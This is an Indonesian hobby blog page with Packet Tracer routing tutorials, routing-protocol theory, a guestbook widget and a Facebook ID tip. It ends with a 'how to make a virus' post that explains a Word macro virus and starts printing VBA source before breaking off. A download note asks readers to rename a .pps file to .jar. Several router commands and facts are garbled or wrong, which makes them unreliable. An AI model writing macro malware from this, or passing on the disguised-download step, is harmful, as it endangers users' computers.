Rabu, 27 November 2013

Modul Teknik Komputer dan Jaringan (TKJ) !

Pada potingan/artikel kali ini saya akan membagikan modul kepada teman"...
di simak yah modulnya....  :)

Chapter 1 - Pengenalan Jaringan

Chapter 2 - (Maaf, Link'x rusak)

Chapter 3 - Perangkat Keras

Chapter 4 - Protokol Jaringan

Chapter 5 - IP Address dan Subnetting

Chapter 6 - Konsep Routing

Chapter 7 - Model model referensi

Chapter 8 - Intranet-Ekstranet

Chapter 9 - Jaringan Komputer

Chapter 10 - Sistem Operasi


Sekian dari saya, dan terima kasih telah mampir...  :)
See ypu in a next post...  :)

KONFIGURASI ROUTING STATIK DENGAN PACKET TRACER

Disini saya akan mencoba membuat konfigurasi routing statik dengan packet tracer yang sudah saya pelajari pada mata kuliah
Jaringan Komputer,sebelumnya sedikit penjelasan tentang routing statik.
Routing statik yaitu routing yang  konfigurasinya harus dilakukan secara manual, administrator jaringan harus memasukkan
atau menghapus rute statis jika terjadi perubahan topologi. Pada jaringan skala besar, jika tetap menggunakan routing statis,
maka akan sangat membuang waktu administrator jaringan untuk melakukan update table routing.Karena itu routing statis
hanya mungkin dilakukan untuk jaringan skala kecil. Sedangkan routing dinamis biasa diterapkan di jaringan skala besar
dan membutuhkan kemampuan lebih dari administrator.
Cara kerja routing statis dapat dibagi menjadi 3 bagian:
- Administrator jaringan yang mengkonfigurasi router
- Router melakukan routing berdasarkan informasi dalam tabel routing
- Routing statis digunakan untuk melewatkan paket data
Seorang administrator harus menggunakan perintah ip route secara manual untuk mengkonfigurasi router dengan routing statis.
Untuk Lebih Jelasnya kita lihat gambar dan pembahasannya di bawah ini:


Technical Order
  • Router ke router : Serial
  • Router ke switch : FastEthernet (boleh pake Ethernet tapi lebih cepat FastEthernet)
  • Switch ke PC : FastEthernet
  • Konektor yang warna merah menggunakan Serial DTE
  •  (recommended) Sebaiknya menggunakan Routers yang Generic (Router-PT) agar kita tidak perlu menambahkan modul pada komponen router.
  • (recommended) Untuk Switches gunakan Generic (Switch-PT)
  • Konfigurasi ini menggunakan CLI (command-line interface)

SETTING ROUTER
Kali ini kita beri nama Router 0 adalah “Sterling“,Router 1 adalahHoboken,dan Router 2 adalahWaycross
kita bisa memberi nama router tersebut melalui config>global setting>display name
selain itu kita juga bisa mengganti nama hostname (config>global setting>hostname) sesuai yang kita inginkan,disini kita beri nama sama dengan nama router diatas.
















1.   Sterling (setting 1 serial, 1 FastEthernet)
Sterling>en            // enable
Sterling #conf t        //configure terminal
Sterling (config)#int fa0/0 //setting interface dari router ke switch
Sterling (config-if)#ip add 172.16.1.1 255.255.255.0  //setting IP dan subnet mask
Sterling (config-if)#no shut    //mengaktifkan setting diatasnya
Sterling (config-if)#ex         //exit
Sterling (config)#
Sterling (config)#int s2/0      //setting interface serial di Sterling
Sterling (config-if)#ip add 172.16.2.1255.255.255.0
Sterling (config-if)#no shut
Sterling (config-if)#ex

2. Hoboken (setting 2 serial, 1 FastEthernet)
Hoboken >en
Hoboken #conf t
Hoboken (config)#int fa0/0
Hoboken (config-if)#ip add 172.16.3.1 255.255.255.0
Hoboken (config-if)#no shut
Hoboken (config-if)#ex
Hoboken (config)#
Hoboken (config)#int s2/0
Hoboken (config-if)#ip add 172.16.2.2 255.255.255.0
Hoboken (config-if)#no shut
Hoboken (config-if)#ex
Hoboken (config)#
Hoboken (config)#int s3/0
Hoboken (config-if)#ip add 172.16.4.1255.255.255.0
Hoboken (config-if)#no shut
Hoboken (config-if)#e

3. Waycross (setting 1 serial, 1 FastEthernet)
Waycross >en
Waycross #conf t
Waycross (config)#int fa0/0
Waycross (config-if)#ip add 172.16.5.1255.255.255.0
Waycross (config-if)#no shut
Waycross (config-if)#ex
Waycross (config)#
Waycross (config)#int s2/0
Waycross (config-if)#ip add 172.16.4.2255.255.255.0
Waycross (config-if)#no shut
Waycross (config-if)#ex
Bagaimana  mudah  bukan? Tunggu dulu kita belum selesai settingnya. Kita perlu setting routingnya, yang diatas itu hanya setting masing-masing router. INGAT! Routing berbeda dengan router.

 SETTING ROUTING

Sterling:
Sterling (config)#ip route 172.16.3.0 255.255.255.0 172.16.2.2
Sterling (config)#ip route 172.16.5.0 255.255.255.0 172.16.2.2
Hoboken :
Hoboken (config)#ip route 172.16.1.0 255.255.255.0 172.16.2.1
Hoboken (config)#ip route 172.16.5.0 255.255.255.0 172.16.4.2
Waycross:
Waycross (config)#ip route 172.16.1.0 255.255.255.0 172.16.4.1
Waycross (config)#ip route 172.16.3.0 255.255.255.0 172.16.4.1
Memberi IP pada masing-masing PC
  1. Klik image PC
  2. Klik Tab Desktop
  3. Pilih IP Configuration
  4. Ulangi hingga PC5





Daftar IP Address dan Default Gateway :




Semua sudah terkonfigurasi,setelah itu kita ping pada masing-masing PC/Router,seperti pada contoh di bawah ini.

KONFIGURASI ROUTING DINAMIK DENGAN PACKET TRACER

Kali ini saya akan menjelaskan tentang bagaimana caranya membuat Router Dinamik, saya akan kasih contoh seperti pada router static yang saya buat di tutorial sebelumnya hanya saja ini berbeda  pada konfiguasi Routingnya saja. Pertama yang harus di buat adalah Buat 3 buah router, 3 buah switch, dan 2 PC pada masing masing router. Seperti contoh gambar di bawah ini:
Technical Order
  • Router ke router : Serial
  • Router ke switch : FastEthernet (boleh pake Ethernet tapi lebih cepat FastEthernet)
  • Switch ke PC : FastEthernet
  • Konektor yang warna merah menggunakan Serial DTE
  •  (recommended) Sebaiknya menggunakan Routers yang Generic (Router-PT) agar kita tidak perlu menambahkan modul pada komponen router.
  • (recommended) Untuk Switches gunakan Generic (Switch-PT)
  • Konfigurasi ini menggunakan CLI (command-line interface)

== KONFIGURASI ROUTER ==
 Sterling
Router>en
Router#conf  ter
Enter configuration commands, one per line. End with CNTL/Z.
Router(config-if)#no shutdown
Router(config-if)#interface serial 3/0
Router(config-if)#ip address 172.16.2.1.255.255.255.0
Router(config-if)#exit
Router(config)#interface fastethernet 0/0
Router(config-if)#no shutdown
Router(config-if)#ip address 172.16.1.1. 255.255.255.0

 Hoboken
Router#conf ter
Enter configuration commands, one per line. End with CNTL/Z.
Router(config-if)#no shutdown
Router(config-if)#interface serial 2/0
Router(config-if)#ip address 172.16.2.2.255.255.255.0
Router(config-if)#interface serial 3/0
Router(config-if)#ip address 172.16.4.1.255.255.255.0
Router(config-if)#exit
Router(config)#interface fastethernet 0/0
Router(config-if)#no shutdown
Router(config-if)#ip address 172.16.3.1.255.255.255.0
Waycross
Router#conf  ter
Enter configuration commands, one per line. End with CNTL/Z.
Router(config-if)#no shutdown
Router(config-if)#interface serial 2/0
Router(config-if)#ip address 172.16.4.2.255.255.255.0
Router(config-if)#exit
Router(config)#interface fastethernet 0/0
Router(config-if)#no shutdown
Router(config-if)#ip address 172.16.5.1.255.255.255.0

== KONFIGURASI PC ==
STERLING
PC 0 : IP 172.16.1.2GW 172.16.1.1
PC 1 : IP 172.16.1.3 GW 172.16.1.1
HOBOKEN
PC 2 : IP 172.16.3.2GW 172.16.3.1
PC 3 : IP 172.16.3.3 GW 172.16.3.1
WAYCROSS
PC 4 : IP 172.16.5.2 GW 172.16.5.1
PC 5 : IP 172.16.5.3 GW 172.16.5.1

== KONFIGURASI ROUTER DINAMIK ==
Pada konfigurasi router Dinamik, Tambahkan semua network yang telah diatur pada masing masing router. Misalnya tambahkan semua network pada Sterling ke dalam settingan Router  RIP  pada Sterling. Untuk lebih jelasnya lihat konfigurasi di bawah ini:
Sterling
Router>en
Router#conf  ter
Enter configuration commands, one per line. End with CNTL/Z.
Router(config)#router rip
Router(config-router)#network 172.16.2.0
Router(config-router)#network 172.16.1.0
 Hoboken
Router>en
Router#conf  ter
Enter configuration commands, one per line. End with CNTL/Z.
Router(config)#router rip
Router(config-router)#network 172.16.2.0
Router(config-router)#network 172.16.4.0
Router(config-router)#network 172.16.3.0
 Waycross
Router>en
Router#conf ter
Enter configuration commands, one per line. End with CNTL/Z.
Router(config)#router rip
Router(config-router)#network 172.16.4.0
Router(config-router)#network 172.16.5.0
Semua sudah terkonfigurasi,setelah itu kita ping pada masing-masing PC/Router,seperti pada contoh di bawah ini.
 



Menggabungkan 2 group yang sudah kita buat (static & dinamik) menjadi 1 group jaringan dengan wireless




Untuk mendapatkan file packet tracernya silahkan klik disini
Nb: Setelah di download Rename file .pps menjadi .jar
Ukuran file : 16,6 kb

ROUTING DAN PROTOKOL ROUTING !


Routing merupakan proses pencarian path atau alur guna memindahkan  informasi dari host sumber (source address) ke host tujuan  (destinations address) melalui koneksi internetwork.
 

Router menyaring (filter) lalu lintas data. Penyaringan dilakukan bukan dengan melihat alamat paket data, tetapi dengan menggunakan protokol tertentu. Router muncul untuk menangani perlunya membagi jaringan secara logikal bukan fisikal. Sebuah IP router bisa membagi jaringan menjadi beberapa subnet sehingga hanya lalu lintas yang ditujukan untuk IP address tertentu yang bisa mengalir dari satu segmen ke segmen lain. Kita akan menggunakan router ketika akan menghubungkan jaringan komputer ke jaringan lain, baik jaringan pribadi (LAN/WAN) atau jaringan publik (Internet).
Diperlukan adanya router untuk melakukan routing di dalam jaringan, dimana router membutuhkan informasi-informasi sebagai berikut:
  • Alamat Tujuan/Destination Address – Tujuan atau alamat item yang akan dirouting
  • Mengenal sumber informasi – Dari mana sumber (router lain) yang dapat dipelajari oleh router dan memberikan jalur sampai ke tujuan.
  • Menemukan rute – Rute atau jalur mana yang mungkin diambil sampai ke tujuan.
  • Pemilihan rute – Rute yang terbaik yang diambil untuk sampai ke tujuan.
  • Menjaga informasi routing – Suatu cara untuk menjaga jalur sampai ke tujuan yang sudah diketahui dan paling sering dilalui.
Analogi :
Misalkan kita berada pada persimpangan jalan, mungkin kita akan merasa bingung jika tidak ada petunjuk jalan, di setiap persimpangan jalan (router) seharusnya ada petunjuk jalan supaya orang tidak bingung dan tersesat. Untuk jalan yang rumit dan berputar-putar tidaklah cukup jika menggunakan static routing. Tentunya kita akan merasa bingung jika disetiap persimpangan kita harus bertanya pada orang apalagi kepada orang yang tidak tahu. Oleh karena itu disini diperlukan dinamic routing, analoginya seperti ada polisi yang membawa HT dan memberikan jalur mana saja yang bisa dilewati. Polisi akan selalu koordinasi beberapa kali sehari, agar jika ada jalan yang macet, ada tabrakan, ada pohon rubuh, polisi akan segera meng-update petunjuk jalan yang lain.
Biasanya polisi yang bertingkat rendah akan memakai HT yang kita sebut sebagai RIP, yang memiliki jarak paling jauh 30 hop (simpangan). Polisi yang berada pada tempat yang ramai bisa menggunakan isis atau ospf, biasanya sudah membawa HP maupun PDA jadi akan lebih pintar dan cepat untuk melakukan update. Polisi tingkat dunia biasanya memiliki kantor pada persimpangan dan sudah mempunyai peralatan pengacak jaringan seluruh dunia, ini disebut BGP.
Ada dua bagian routing paket IP :
  1. Bagaimana meneruskan paket dari interface input ke interface output pada suatu router (“IP forwarding”) ?
  • Paket biasanya diteruskan (forwarding) kesejumlah router sebelum mencapai host tujuan
  • IP forwarding dilaksanakan atas dasar hop-by-hop yaitu tidak ada yang tau rute yang lengkap. Tujuan forwarding adalah membawa paket IP lebih dekat ke tujuan
2.Bagaimana mencari dan men-setup rute (“Routing algorithm”) ?
 



Protokol routing membentuk suatu tabel routing yang digunakan untuk menyeleksi jalur yang akan digunakan. Didalam tabel routing terdapat suatu alamat tujuan paket data dan hop yaitu suatu router yang akan dituju setelah router tersebut.
Konsep berikut sangatlah penting untuk memahami routing pada jaringan IP:
–        Autonomous system
–        Interior vs  Exterior routing
–        Distance vector vs. link state routing algorithms
Autonomous System (AS)

Suatu autonomous system adalah bagian logical dari jaringan IP yang besar, biasanya dimiliki oleh sebuah organisasi jaringan dan diadministrasikan oleh sebuah management resmi. Setiap router dapat berkomunikasi dengan router yang lain dalam satu autonomous system.
Contoh dari autonomous region adalah:
–        Internet Service Provider Regional
–        Jaringan kampus ITB
Di dalam autonomous system, routing dilaksanakan secara:
  1. Interior Routing  yaitu dalam autonomous system
  2. Exterior Routing  yaitu antara autonomous system

Perbedaan Interior Routing dan Exterior  Routing
Interior Routing
Exterior Routing
Routing di dalam suatu AS
Routing antara AS
Protokol untuk Intradomain routing juga disebut Interior Gateway Protocol / IGP Protokol yang populer
  • RIP (sederhana, lama)
  • OSPF (lebih baik)
Protokol untuk interdomain routing disebut Exterior Gateway Protocol/ EGP Protokol routing:
  • EGP
  • BGP (lebih baru)
Mengabaikan Internet di luar AS Mengasumsikan Internet terdiri dari sekumpulan interkoneksi AS


Algoritma-Algoritma Routing (Pada Internet)
 
Perbedaan mendasar antara distance vector dan link state adalah:
  1. Distance Vector hanya memiliki informasi routing dari router tetangganya, sedangkan Link State memiliki informasi routing dari setiap node yang ada.
  2. Untuk mendapatkan lintasan/rute yang terbaik, Distance Vector menggunakan Algoritma Bellman-Ford, sedangkan Link State menggunakan Algoritma Djikstra.

Distance Vector
Pembentukan tabel routing pada Distance Vector dilakukan dengan cara tiap-tiap router atau PC router akan saling bertukar informasi routing dengan router atau PC router yang terhubung langsung. Proses pertukaran informasi routing dilakukan secara periodik, misal tiap 30 detik.
Proses pembentukan tabel pada protokol routing yang menggunakan konsep distance vector adalah sebagai berikut :
  1. Mula-mula tabel routing yang dimiliki oleh masing-masing router atau PC router akan berisi informasi alamat jaringan yang terhubung langsung dengan router atau PC router tersebut.
  2. Secara periodik masing-masing router atau PC router akan saling bertukar informasi sehingga isi tabel routing dari semua router terisi lengkap (converged).


Link State
Protokol routing yang menggunakan konsep link state akan membentuk tabel routing menurut pandangan atau perhitungan router atau PC router masing-masing, tidak bergantung pada pendapat router atau PC router tetangga.
Tabel routing yang dibentuk dengan menggunakan konsep link state dilakukan melalui beberapa tahapan sebagai berikut :
  1. Pada awalnya setiap router atau PC router akan saling mengirimkan dan melewatkan paket link state.
  2. Paket link state yang diterima dari router atau PC router lain dikumpulkan dalam sebuah database topologi.
  3. Berdasarkan informasi yang terkumpul di dalam database, router atau PC router melakukan perhitungan dengan mengggunakan algoritma short path first (SPF).
  4. Algoritma SPF menghasilkan short path first tree.
  5. Akhirnya SPF Tree membentuk daftar isi tabel routing.
Kelima proses di atas dilakukan oleh masing-masing router atau PC router. Jika terjadi perubahan topologi jaringan, pemberitahuannya akan dikirimkan segera ke tiap-tiap router atau PC router sehingga proses update informasi routing dapat segera dilakukan.

Static Routing
Router meneruskan paket dari sebuah network ke network yang lainnya berdasarkan rute (catatan: seperti rute pada bis kota) yang ditentukan oleh administrator. Rute pada static routing tidak berubah, kecuali jika diubah secara manual oleh administrator.
kekurangan dan kelebihan static routing:
- dengan menggunakan next hop
( + ) dapat mencegah trjadinya eror dalam meneruskan paket ke router tujuan apabila router yang akan meneruskan paket memiliki link yang terhubung dengan banyak router.itu disebabkan karena router telah mengetahui next hop, yaitu ip address router tujuan
( – ) static routing yang menggunakan next hop akan mengalami multiple lookup atau lookup yg berulang. lookup yg pertama yang akan dilakukan adalah mencari network tujuan,setelah itu akan kembali melakukan proses lookup untuk mencari interface mana yang digunakan untuk menjangkau next hopnya.
- dengan menggunakan exit interface
( + ) proses lookup hanya akan terjadi satu kali saja ( single lookup ) karena router akan langsung meneruskan paket ke network tujuan melalui interface yang sesuai pada routing table
( – ) kemungkinan akan terjadi eror keteka meneruskan paket. jika link router terhubung dengan banyak router, maka router tidak bisa memutuskan router mana tujuanya karena tidak adanya next hop pada tabel routing. karena itulah, akan terjadi eror.
routing static dengan menggunakan next hop cocok digunakan untuk jaringan multi-access network atau point to multipoint sedangkan untuk jaringan point to point, cocok dengan menggunakan exit interface dalam mengkonfigurasi static route.
recursive route lookup adalah proses yang terjadi pada routing tabel untuk menentukan exit interface mana yang akan digunakan ketika akan meneruskan paket ke tujuannya.

Dynamic Routing
Dynamic router mempelajari sendiri Rute yang terbaik yang akan ditempuhnya untuk meneruskan paket dari sebuah network ke network lainnya. Administrator tidak menentukan rute yang harus ditempuh oleh paket-paket tersebut. Administrator hanya menentukan bagaimana cara router mempelajari paket, dan kemudian router mempelajarinya sendiri. Rute pada dynamic routing berubah, sesuai dengan pelajaran yang didapatkan oleh router.
Apabila jaringan memiliki lebih dari satu kemungkinan rute untuk tujuan yang sama maka perlu digunakan dynamic routing. Sebuah  dynamic routing dibangun berdasarkan informasi yang dikumpulkan oleh protokol routing. Protokol ini didesain untuk mendistribusikan informasi yang secara dinamis mengikuti perubahan kondisi jaringan. Protokol routing mengatasi situasi routing yang kompleks secara cepat dan akurat. Protokol routng didesain tidak hanya untuk mengubah ke rute  backup  bila rute utama tidak berhasil, namun juga didesain untuk menentukan rute mana yang terbaik untuk mencapai tujuan tersebut.
Pengisian dan pemeliharaan tabel routing tidak dilakukan secara manual oleh admin. Router saling bertukar informasi routing agar dapat mengetahui alamat tujuan dan menerima tabel routing. Pemeliharaan jalur dilakukan berdasarkan pada jarak terpendek antara device pengirim dan device tujuan.
1. Routing Information Protocol (RIP)
Routing protokol yang menggunakan algoritma distance vector, yaitu algortima Bellman-Ford. Pertama kali dikenalkan pada tahun 1969 dan merupakan algoritma routing yang pertama pada ARPANET. Versi awal dari routing protokol ini dibuat oleh Xerox Parc’s PARC Universal Packet Internetworking dengan nama Gateway Internet Protocol. Kemudian diganti nama menjadi Router Information Protocol (RIP) yang merupakan bagian Xerox network Services.
RIP yang merupakan routing protokol dengan algoritma distance vector, yang menghitung jumlah hop (count hop) sebagai routing metric. Jumlah maksimum dari hop yang diperbolehkan adalah 15 hop. Tiap RIP router saling tukar informasi routing tiap 30 detik, melalui UDP port 520. Untuk menghindari loop routing, digunakan teknik split horizon with poison reverse. RIP merupakan routing protocol yang paling mudah untuk di konfigurasi.
RIP memiliki 3 versi yaitu :
  1. RIPv1
  2. RIPv2
  3. RIPng
Kelebihan
  • menggunakan metode Triggered Update
  • RIP memiliki timer untuk mengetahui kapan router harus kembali memberikan informasi routing.
  • Jika terjadi perubahan pada jaringan, sementara timer belum habis, router tetap harus mengirimkan informasi routing karena dipicu oleh perubahan tersebut (triggered update).
  • Mengatur routing menggunakan RIP tidak rumit dan memberikan hasil yang cukup dapat diterima, terlebih jika jarang terjadi kegagalan link jaringan
Kekurangan
  • Jumlah host Terbatas
  • RIP tidak memiliki informasi tentang subnet setiap route.
  • RIP tidak mendukung Variable Length Subnet Masking (VLSM).
  • Ketika pertama kali dijalankan hanya mengetahui cara routing ke dirinya sendiri (informasi lokal) dan tidak mengetahui topologi jaringan tempatnya berada
2. Interior Gateway Routing Protocol (IGRP)
IGRP (Interior Gateway Routing Protocol) adalah juga protocol distance vector yang diciptakan oleh perusahaan Cisco untuk mengatasi kekurangan RIP. Jumlah hop maksimum menjadi 255 dan sebagai metric, IGRP menggunakan bandwidth, MTU, delay dan load. IGRP adalah protocol routing yang menggunakan Autonomous System (AS) yang dapat menentukan routing berdasarkan system, interior atau exterior. Administrative distance untuk IGRP adalah 100.
Kelebihan
  • support = 255 hop count
Kekurangan
  • Jumlah Host terbatas
3.Open Shortest Path First (OSPF)

OSPF (Open Shortest Path First ) merupakan sebuah routing protokol berjenis IGP (interior gateway routing protocol) yang hanya dapat bekerja dalam jaringan internal suatu ogranisasi atau perusahaan. Jaringan internal maksudnya adalah jaringan di mana Anda masih memiliki hak untuk menggunakan, mengatur, dan memodifikasinya. Atau dengan kata lain, Anda masih memiliki hak administrasi terhadap jaringan tersebut. Jika Anda sudah tidak memiliki hak untuk menggunakan dan mengaturnya, maka jaringan tersebut dapat dikategorikan sebagai jaringan eksternal. Selain itu, OSPF juga merupakan routing protokol yang berstandar terbuka. Maksudnya adalah routing protokol ini bukan ciptaan dari vendor manapun. Dengan demikian, siapapun dapat menggunakannya, perangkat manapun dapat kompatibel dengannya, dan di manapun routing protokol ini dapat diimplementasikan. OSPF merupakan routing protokol yang menggunakan konsep hirarki routing, artinya OSPF membagi-bagi jaringan menjadi beberapa tingkatan. Tingkatan-tingkatan ini diwujudkan dengan menggunakan sistem pengelompokan area.
OSPF memiliki 3 table di dalam router :
  1. Routing table
Routing table biasa juga disebut sebagai Forwarding database. Database ini berisi the lowest cost untuk mencapai router-router/network-network lainnya. Setiap router mempunyai Routing table yang berbeda-beda.
2. Adjecency database
Database ini berisi semua router tetangganya. Setiap router mempunyai Adjecency database yang berbeda-beda.
3. Topological database
Database ini berisi seluruh informasi tentang router yang berada dalam satu networknya/areanya.
Kelebihan
  • tidak menghasilkan routing loop
  • mendukung penggunaan beberapa metrik sekaligus
  • dapat menghasilkan banyak jalur ke sebuah tujuan
  • membagi jaringan yang besar mejadi beberapa area.
  • waktu yang diperlukan untuk konvergen lebih cepat
Kekurangan
  • Membutuhkan basis data yang besar
  • Lebih rumit
4. Enchanced Interior Gatway Routing Protocil (EIGRP)
EIGRP (Enhanced Interior Gateway Routing Protocol) adalah routing protocol yang hanya di adopsi oleh router cisco atau sering disebut sebagai proprietary protocol pada cisco. Dimana EIGRP ini hanya bisa digunakan sesama router cisco saja. Bgmn bila router cisco digunakan dengan router lain spt Juniper, Hwawei, dll menggunakan EIGRP??? Seperti saya bilang diatas, EIGRP hanya bisa digunakan sesama router cisco saja. EIGRP ini sangat cocok digunakan utk midsize dan large company. Karena banyak sekali fasilitas2 yang diberikan pada protocol ini.
Kelebihan
  • melakukan konvergensi secara tepat ketika menghindari loop.
  • memerlukan lebih sedikit memori dan proses
  • memerlukan fitur loopavoidance
Kekurangan
  • Hanya untuk Router Cisco
5. Border Gateway Protocol (BGP)
Border Gateway Protocol (BGP) adalah sebuah sistem antar autonomous routing protocol. Sistem autonomous adalah sebuah jaringan atau kelompok jaringan di bawah administrasi umum dan dengan kebijakan routing umum. BGP digunakan untuk pertukaran informasi routing untuk Internet dan merupakan protokol yang digunakan antar penyedia layanan Internet (ISP). Pelanggan jaringan, seperti perguruan tinggi dan perusahaan, biasanya menggunakan sebuah Interior Gateway Protocol (IGP) seperti RIP atau OSPF untuk pertukaran informasi routing dalam jaringan mereka. Pelanggan menyambung ke ISP, dan ISP menggunakan BGP untuk bertukar pelanggan dan rute ISP . Ketika BGP digunakan antar Autonom System (AS), protokol ini disebut sebagai External BGP (EBGP). Jika penyedia layanan menggunakan BGP untuk bertukar rute dalam suatu AS, maka protokol disebut sebagai Interior BGP (IBGP)
Kelebihan
  • Sangat sederhana dalam instalasi
Kekurangan
  • Sangat terbatas dalam mempergunakan topologi.

Buku Tamu Auto Hide !

buku tamu cbox
Auto hide Shuotbox adalah efek yang akan membuat buku tamu muncul tanpa di klik dan tersembunyi tanpa di klik pula ( di lewati pointer mouse ), hanya beda sedikit dengan buku tamu show / hide. Sobat yang tertarik memasang widget ini, silahkan masukkan kode berikut di HTML/Javascript blog sobat.

<style type="text/css">
#gb{
position:fixed;
top:20px;
z-index:+1000;
}* html #gb{position:relative;}

.gbtab{
height:150px;
width:50px;
float:left;
background:url('http://i1108.photobucket.com/albums/h405/christian410/ghtrf.png') no-repeat;
}

.gbcontent {
float:left;
border:1px solid #000000;
-moz-border-radius-bottomleft:5px;
-webkit-border-radius-bottomleft:5px;
-o-border-radius-bottomleft:5px;
-khtml-border-radius-bottomleft:5px;
-moz-border-radius-topright: 5px;
-moz-border-radius-topleft: 5px;
background: #F2F2F2; url() no-repeat bottom;
padding:10px;
}

</style>

<script type="text/javascript">
function showHideGB(){
var gb = document.getElementById("gb");
var w = gb.offsetWidth;
gb.opened ? moveGB(0, 51-w) : moveGB(30-w, 0);
gb.opened = !gb.opened;
}function moveGB(x0, xf){

var gb = document.getElementById("gb");
var dx = Math.abs(x0-xf) > 25 ? 25 : 1;
var dir = xf>x0 ? 1 : -1;
var x = x0 + dx * dir;
gb.style.right = x.toString() + "px";
if(x0!=xf){setTimeout("moveGB("+x+", "+xf+")", 5);}
}</script>

<div id="gb">
<div class="gbtab" onmouseover="showHideGB()"> </div>

<div class="gbcontent">
<center>
<!-- BEGIN CBOX - www.cbox.ws - v001 -->
<div id="cboxdiv" style="text-align: center; line-height: 0">
<div><iframe frameborder="0" width="300" height="275" src="http://www4.cbox.ws/box/?boxid=4100717&amp;boxtag=ebc39c&amp;sec=main" marginheight="2" marginwidth="2" scrolling="auto" allowtransparency="yes" name="cboxmain4-4100717" style="border:#FFFFFF 1px solid;" id="cboxmain4-4100717"></iframe></div>
<div><iframe frameborder="0" width="300" height="75" src="http://www4.cbox.ws/box/?boxid=4100717&amp;boxtag=ebc39c&amp;sec=form" marginheight="2" marginwidth="2" scrolling="no" allowtransparency="yes" name="cboxform4-4100717" style="border:#FFFFFF 1px solid;border-top:0px" id="cboxform4-4100717"></iframe></div>
</div>
<!-- END CBOX -->
<br />
<div style="text-align:center">
<span style="float:right; color:#000000;">Get this <a target="_blank" href="http://christiantatelu.blogspot.com/2012/03/cara-membuat-buku-tamu-auto-hide-di.html"> widget! </a></span>
</div>
</center></div>
<script type="text/javascript">
var gb = document.getElementById("gb");
gb.style.right = (50-gb.offsetWidth).toString() + "px";
</script>

</div>
 

Caranya :
  1. Klik rancangan --> Elemen laman --> Tambah gadget --> HTML/Javascript
  2. Masukkan kodenya di kotak yang di sediakan.
  3. Klik Save 
Tambahan :
Ganti kode yang berwara biru dengan kode buku tamu milik sobat. Sobat yang belum punya buku tamu silahkan buat terlebih dahulu di cbox ( seperti blog ini) , fibox, shoutchamp atau pada penyedia chatbox gratisan lainnya.


Copyright : http://christiantatelu.blogspot.com/

Program Pascal (Newbie)

Jumpa lagi gan, artikel kali ini tentang pemrograman (PASCAL)...
yah, meskipun syntax"x cman di beri oleh kaka kelas sya waktu SMK dlu...  :D :D
lumayan lah buat di bagi"kan ke agan" zkalian...

Langsung saja di coba yah gan...






 NB : Work at Pascal, 1.5
Code :





Sekian tutorial Pascal kali ini yah gan....
terima kasih telah berkunjung... :)

Senin, 25 November 2013

Cara mudah mengetahui ID FB orang !

Selamat sore gan, sbenarnya pngen dri kmarin" sharing tentang Cara Mudah Mengetahui ID fb Orang !, tapi karena cuaca di daerah sini (Timika) kurang mendukung, kdang crah truz tba"  hujan deraz....

yah, tpi untung lah warnet'x cuma dekat dengan rumah sya... :D :D
jadi qk trllu kebasahan dri sono nyampe zni (Warnet)...


Kelamaan yah, langsung sedot gan...

Pertama-tama sobat buka profil FB yg ingin diketahui ID'x, misalanya (https://facebook.com/dlovky), ini facebook saya gan...  :)

Pada address bar silahkan sobat ganti https//facebook.com/ dengan https://graph.facebook.com/dlovky...
tampilannya seperti ini gan...

{
   "id": "100000088410101",
   "name": "Rifkly Arnold Pongoh",
   "first_name": "Rifkly",
   "middle_name": "Arnold",
   "last_name": "Pongoh",
   "link": "http://www.facebook.com/DLovKy",
   "username": "DLovKy",
   "gender": "male",
   "locale": "id_ID"
 
 
sekian dlu gan, sya mau download lagu'x westlife dlu...  :)
Bagi agan yg pengen download lagu'x westlife silahkan ikuti link ini gan...
 
http://rifkly117.blogspot.com/2013/11/baiklah-kali-ini-saya-ingin-berbagi.html 
 
 
Terima kasih telah berkunjung...  :)
 

Minggu, 24 November 2013

Cara Membuat Virus



Pendahuluan
Virus komputer merupakan program komputer yang dapat menggandakan atau menyalin dirinya sendiri dan menyebar dengan cara menyisipkan salinan dirinya ke dalam program atau dokumen lain. Virus komputer dapat dianalogikan dengan virus biologis yang menyebar dengan cara menyisipkan dirinya sendiri ke sel makhluk hidup. Virus komputer dapat merusak (misalnya dengan merusak data pada dokumen), membuat pengguna komputer merasa terganggu, maupun tidak menimbulkan efek sama sekali.
Cara Kerja
Virus komputer umumnya dapat merusak perangkat lunak komputer dan tidak dapat secara langsung merusak perangkat keras komputer tetapi dapat mengakibatkan kerusakan dengan cara memuat program yang memaksa over process ke perangkat tertentu. Efek negatif virus komputer adalah memperbanyak dirinya sendiri, yang membuat sumber daya pada komputer (seperti penggunaan memori) menjadi berkurang secara signifikan. Hampir 95% virus komputer berbasis sistem operasi Windows. Sisanya menyerang Linux/GNU, Mac, FreeBSD, OS/2 IBM, dan Sun Operating System. Virus yang ganas akan merusak perangkat keras.
(Baca: ilmu dalam tutorial ini untuk pembelajaran bukan untuk disalahgunakan)
Ini adalah tutorial saya yang kesekian kalinya dan mudah-mudahan tutorial kali ini bermanfaat untuk kalian.
Kali ini saya akan membahas mengenai virus macro… (para virus maker diharap untuk tenang dulu!).
Pasti banyak bertanya kenapa kali ini membahas tentang cara membuat virus? Biasanya kan lebih sering membahas analisis virus atau antivirusnya itu….
Yah kali ini memang agak berbeda. Selain untuk mencari suasana baru, aku juga agak tertantang dengan artikel yang saya buat ini.
Sebelum aku membuat artikel ini, aku sengaja mencari-cari kelemahan dari antivirusku sendiri (baca:Morphost). Ternyata aku lebih tertarik untuk membuat virus macro untuk mencari celah antivirusku itu. Untuk membuat artikel ini memang butuh pengorbanan juga. Soalnya komputerku jadi terinfeksi oleh virusku sendiri. Haaahhh…..

Virus macro merupakan virus yang dibuat dalam bahasa pemrograman visual basic macro di Microsoft Office. Kita ambil contoh, virus macro Word.
CARA MEMBUAT VIRUS
  1. Buka Ms.Word (hanya contoh)
  2. buka tools > Macro> Visual Basic Editor

  • Akan muncul gambar di bawah

Lalu kita ketikkan source virus nya pada kotak putih diatas dan akan tampak gambar seperti dibawah ini.


Sekarang muncul pertanyaan! Source yang bagaimana yang harus diketik???
Tenang, aku dah siapkan kok sourcenya. Makan neh source code!
1
<span style="color: #ff0000;">This is my codes virus</span>
1
<span style="color: #ff0000;"></span>
1
<span style="color: #ff0000;">Macro Viruses</span>
1
<span style="color: #ff0000;">[Macroid]</span>
1
<span style="color: #ff0000;"></span>
1
<span style="color: #ff0000;">Hanya untuk pembelajaran</span>
1
<span style="color: #ff0000;">Private Sub Document_Close()</span>
1
<span style="color: #ff0000;">Dim AD, NT As Object</span>
1
<span style="color: #ff0000;">Dim isi As String</span>
1
<span style="color: #ff0000;">Set AD = ActiveDocument.VBProject.VBComponents.Item(1)</span>
1
